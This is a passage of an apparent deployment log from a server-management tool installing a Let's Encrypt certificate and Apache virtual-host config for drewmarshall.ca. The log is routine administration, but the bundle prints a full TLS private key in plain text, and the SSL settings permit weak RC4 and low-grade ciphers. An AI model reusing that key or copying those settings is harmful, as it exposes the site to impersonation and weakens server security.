MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-12-24 13:55:31: Establishing a connection
2025-12-24 13:55:31: Establishing a connection
2025-12-24 13:55:31: 

PUT: /tmp/pkp775042

#!/bin/bash
if [ -d "/var/www/drewmarshall_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-24 13:55:31: 

chmod 755 /tmp/pkp775042; /tmp/pkp775042; rm /tmp/pkp775042

2025-12-24 13:55:31: 


1


2025-12-24 13:55:32: Establishing a connection
2025-12-24 13:55:32: 

PUT: /tmp/pkp831530

#!/bin/bash
mkdir -p "/var/www/drewmarshall_www/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_www/.well-known/acme-challenge/"
cat > YiI4QyOlcL2xbb0vNZhikfp4TWLtfSxO1Wwky_FquJg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
YiI4QyOlcL2xbb0vNZhikfp4TWLtfSxO1Wwky_FquJg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 YiI4QyOlcL2xbb0vNZhikfp4TWLtfSxO1Wwky_FquJg
cat > OhvK2wWqJFBDFxnFQoMZN2JWeTiyqE0V_GXt0kr6ITM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
OhvK2wWqJFBDFxnFQoMZN2JWeTiyqE0V_GXt0kr6ITM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 OhvK2wWqJFBDFxnFQoMZN2JWeTiyqE0V_GXt0kr6ITM


2025-12-24 13:55:33: 

chmod 755 /tmp/pkp831530; /tmp/pkp831530; rm /tmp/pkp831530

2025-12-24 13:55:33: 




2025-12-24 13:55:42: Establishing a connection
2025-12-24 13:55:43: 

PUT: /tmp/pkp875613

#!/bin/bash
mkdir -p "/var/www/drewmarshall_www/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_www/.well-known/acme-challenge/"
rm YiI4QyOlcL2xbb0vNZhikfp4TWLtfSxO1Wwky_FquJg
rm OhvK2wWqJFBDFxnFQoMZN2JWeTiyqE0V_GXt0kr6ITM


2025-12-24 13:55:43: 

chmod 755 /tmp/pkp875613; /tmp/pkp875613; rm /tmp/pkp875613

2025-12-24 13:55:43: 




2025-12-24 13:55:43: Establishing a connection
2025-12-24 13:55:43: 

PUT: /tmp/pkp384099

#!/bin/bash
temp_file=$(mktemp)
TARGET=2c3c17c005831b4a6e867c2d7a99a9f3.crt

cat > $temp_file <<'endmsg'
24:76:fc:aa:40:f0:d8:c8:d9:c7:e0:58:49:da:93:52

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBSWnsrPlT1LB7AAsLza5yZejMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjI0MTI1NzEyWhcNMjYwMzI0MTI1NzExWjAaMRgwFgYDVQQD
Ew9kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDR1SsfBBpCp5MXzZtKn3XNQpsNP8X92xZyXcv/H5KsE474QSGesDMes5ofPrtj
ys+PJsO+A7vHl/4aARZ48ZqLnJ5MmYMIAJICMyke7kbN/26yNDSKTO5rsRCf1Wvx
5Q3HF1PD9lLeP7vNuaCm63d8+KpCH/sOvnBLJnt4e7ISi/qjKbeM73lQeZZvcxTP
aiTG87lcO2qkNzPuBAWFWfm8KKhXfxrhG+9kTAQqVmjSPkZv6POFckDfFAYIuzxW
1S8DkxpTwWpcGl2YcOpUZq0v6gExJ/j/R9PuHCVE8oWsXcOtaghCbk1Y5/USKcE6
FEbRXWZZwKMPgB1IWAf1cLKPAgMBAAGjggIzMIICLzAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFGYTNVHXq11v6uAeAa6YMEow+SKQMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoIPZHJld21hcnNoYWxsLmNhghN3
d3cuZHJld21hcnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQn
MCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMzYuY3JsMIIBAwYKKwYB
BAHWeQIEAgSB9ASB8QDvAHYAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9
zfAAAAGbUKTlUgAABAMARzBFAiAN9DDBUVy2ZqmSQ2GlFRLiYj1eHvT12Pt4vpx/
BlhPkAIhAJl04rvViQaqd53qXok7CQp0klYVPItrmGP7T8DHKvQcAHUAyzj3FYl8
hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGbUKTlaAAABAMARjBEAiA5YED+
LqVUP0FFKmSc0KKBxPJ1h5qQTb0d3svnlm9fxQIgTTD+fldoujlU5xLLikoOsotP
6o4dcAB8Wc2Cz0TMTqswDQYJKoZIhvcNAQELBQADggEBAMR/MlbSeX1JQfQxB7Ke
fu24Q2M89+6oX1asXQsgTsrpb0iuuqZ2XQ+7QsgeuNOXh6jXR+hl1STDb3xdnBnn
Qs0AY6hHkPLh5nFtW8C9a4BkecuCl4J5BXaihPu1Jy+IsLlDD2HixVkcXlhAEsOT
rUTBUIUD3FVyS4hiA6I3Idq43BdJY++GNdTwOaBCfeaUY7Y189KthN5FRR3heWeX
pY2aUUmBBIKX4MQ1ExvhOoMndLY669ZqmTQ7mAeueO7m4JoQIZxaJ2x3NehUCfCO
Ol3Mh+kbXnmh0cTPKTHEK5F0lreEEpvc6XBd1kVbXzL4yNKmPUS+lV245ONcSprY
vTM=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDR1SsfBBpCp5MX
zZtKn3XNQpsNP8X92xZyXcv/H5KsE474QSGesDMes5ofPrtjys+PJsO+A7vHl/4a
ARZ48ZqLnJ5MmYMIAJICMyke7kbN/26yNDSKTO5rsRCf1Wvx5Q3HF1PD9lLeP7vN
uaCm63d8+KpCH/sOvnBLJnt4e7ISi/qjKbeM73lQeZZvcxTPaiTG87lcO2qkNzPu
BAWFWfm8KKhXfxrhG+9kTAQqVmjSPkZv6POFckDfFAYIuzxW1S8DkxpTwWpcGl2Y
cOpUZq0v6gExJ/j/R9PuHCVE8oWsXcOtaghCbk1Y5/USKcE6FEbRXWZZwKMPgB1I
WAf1cLKPAgMBAAECggEAMZavGiVeD2KK4JU2newRavDSs87ee5/LLjv8ec58Wy5E
G2dJCreZXSgUxE2O+4ZyhuIiYEWBmynQY1TeeraeT2A0COY+kSWRW/O7RBQLp6M2
BedQg16q+chepWdKm2AGYYahxS3xZ5SoTXYRAWGkW2Ro2De2nUVkRF5Tz6Vr7/W3
HfmSmw25FuNc6v/Sh+StBm4+FKbTDPlYc07p/2jmbGPHiZNq1Ns85kmImUUVzEuB
Ih+DXoXP+hvA6G3K584N6qGy/IRWIb2Oa5/MDpspHmBc2jEqHCBWCbKLEWRRHh0X
cTw5Q2pOKK/72Zo0o23sXjh6xTCVtEB+5p+uMWcMAQKBgQDyT4ijGA+6woUzUUb+
oTEAKi/qlgT5VK7FrKDt7NsWob4mF6Lv7ZHUUx0ZvBh9FLPrEfSAmpD+Q7ypDbgm
Z3zaQodDIrY+HXrUrlhudY0Enu1ili5rs1jcsg/9TtQnvh/nK69dr7u39CV72A/3
raNTCuik7wLK3coTr2vWVuUtHQKBgQDdr+pTljDdr1XpOkJXo8pAdjtFNK1S1azW
Pp7nwXCCfKCoo+kNuUHg3C8y2NvSEI9smKep9U6CFEV2TMCmgOp8A/YxqtcHpfeZ
KM2DkPqWsJDMLtehLRVG772IKSuMb5fziuy9ns3MFoJmBvWVwMM0GnmhuE5TWpmw
F1v7YvRKmwKBgQCytLGjB0XiiT/Pnyvq81q+Ml7wdf/pGuli5HQzxTG3uUYRtfD3
XpDktP+LUUwGQ9SFk9JtXpF81Nw5GeMsf7p3BgXYH6ukl/1VCdgybwO32rZctUI7
MCRjb/eW7CJPxUqmJXPKdqbNfoR+l9T+59LClhMKQTQgBf7ZEdFIXQHciQKBgDZ8
wm+A/sm+CrOkaiH4VAG8DZ1Y8TDm6/BMu+nilbC8yRAqGWISIqsN81vgCUd8YoQi
kTMo4/781IXbH47NKNUKdDyI7QkoNc8jREAOJklbZHuLF9y5o/0nd8I7vERsOUDW
6JFCsvpyneJN25bPJitsRnEFR9sc7aFmXGlRTRH5AoGAGBdGFaiA7PIjJX97yVMC
h3OAPfZpHQFNGTq/MZ09fVPZI4uFDcEqFNtQYkPTGEILADKEo2gRWMiCXZbtkstU
lnY9uWvj/5ZSObgqPsFCCNNJ8tMoPkMYAzbVY5mkLhcrHskI8L0AsgkHp2D6Na6z
oYEy7gAHkCRduCl0725RQto=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-24 13:55:43: 

chmod 755 /tmp/pkp384099; /tmp/pkp384099; rm /tmp/pkp384099

2025-12-24 13:55:43: 


dir=/etc/ssl/certs


2025-12-24 13:55:43: 

PUT: /tmp/pkp174291

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_www_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-24 13:55:43: 

chmod 755 /tmp/pkp174291; /tmp/pkp174291; rm /tmp/pkp174291

2025-12-24 13:55:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_www_ca.conf 43

<VirtualHost *:80>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-24 13:55:43: 

PUT: /tmp/pkp759694

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_www_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_www_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_www_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_www_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_www_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_www_ca.conf= 1'
fi


2025-12-24 13:55:43: 

chmod 755 /tmp/pkp759694; /tmp/pkp759694; rm /tmp/pkp759694

2025-12-24 13:55:43: 




2025-12-24 13:55:43: 

PUT: /tmp/pkp873190

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-24 13:55:43: 

chmod 755 /tmp/pkp873190; /tmp/pkp873190; rm /tmp/pkp873190

2025-12-24 13:55:43: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-24 13:55:43: Establishing a connection
2025-12-24 13:55:43: 

PUT: /tmp/pkp506176

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-24 13:55:43: 

chmod 755 /tmp/pkp506176; /tmp/pkp506176; rm /tmp/pkp506176

2025-12-24 13:55:43: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-24 13:55:43: 

PUT: /tmp/pkp801527

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_www_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-24 13:55:43: 

chmod 755 /tmp/pkp801527; /tmp/pkp801527; rm /tmp/pkp801527

2025-12-24 13:55:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_www_ca.conf	1282

<VirtualHost *:80>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-24 13:55:43: 

PUT: /tmp/pkp683698

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-24 13:55:44: 

chmod 755 /tmp/pkp683698; /tmp/pkp683698; rm /tmp/pkp683698

2025-12-24 13:55:44: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt	5374
24:76:fc:aa:40:f0:d8:c8:d9:c7:e0:58:49:da:93:52

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBSWnsrPlT1LB7AAsLza5yZejMA0GCSqGSIb3DQEBCwUA
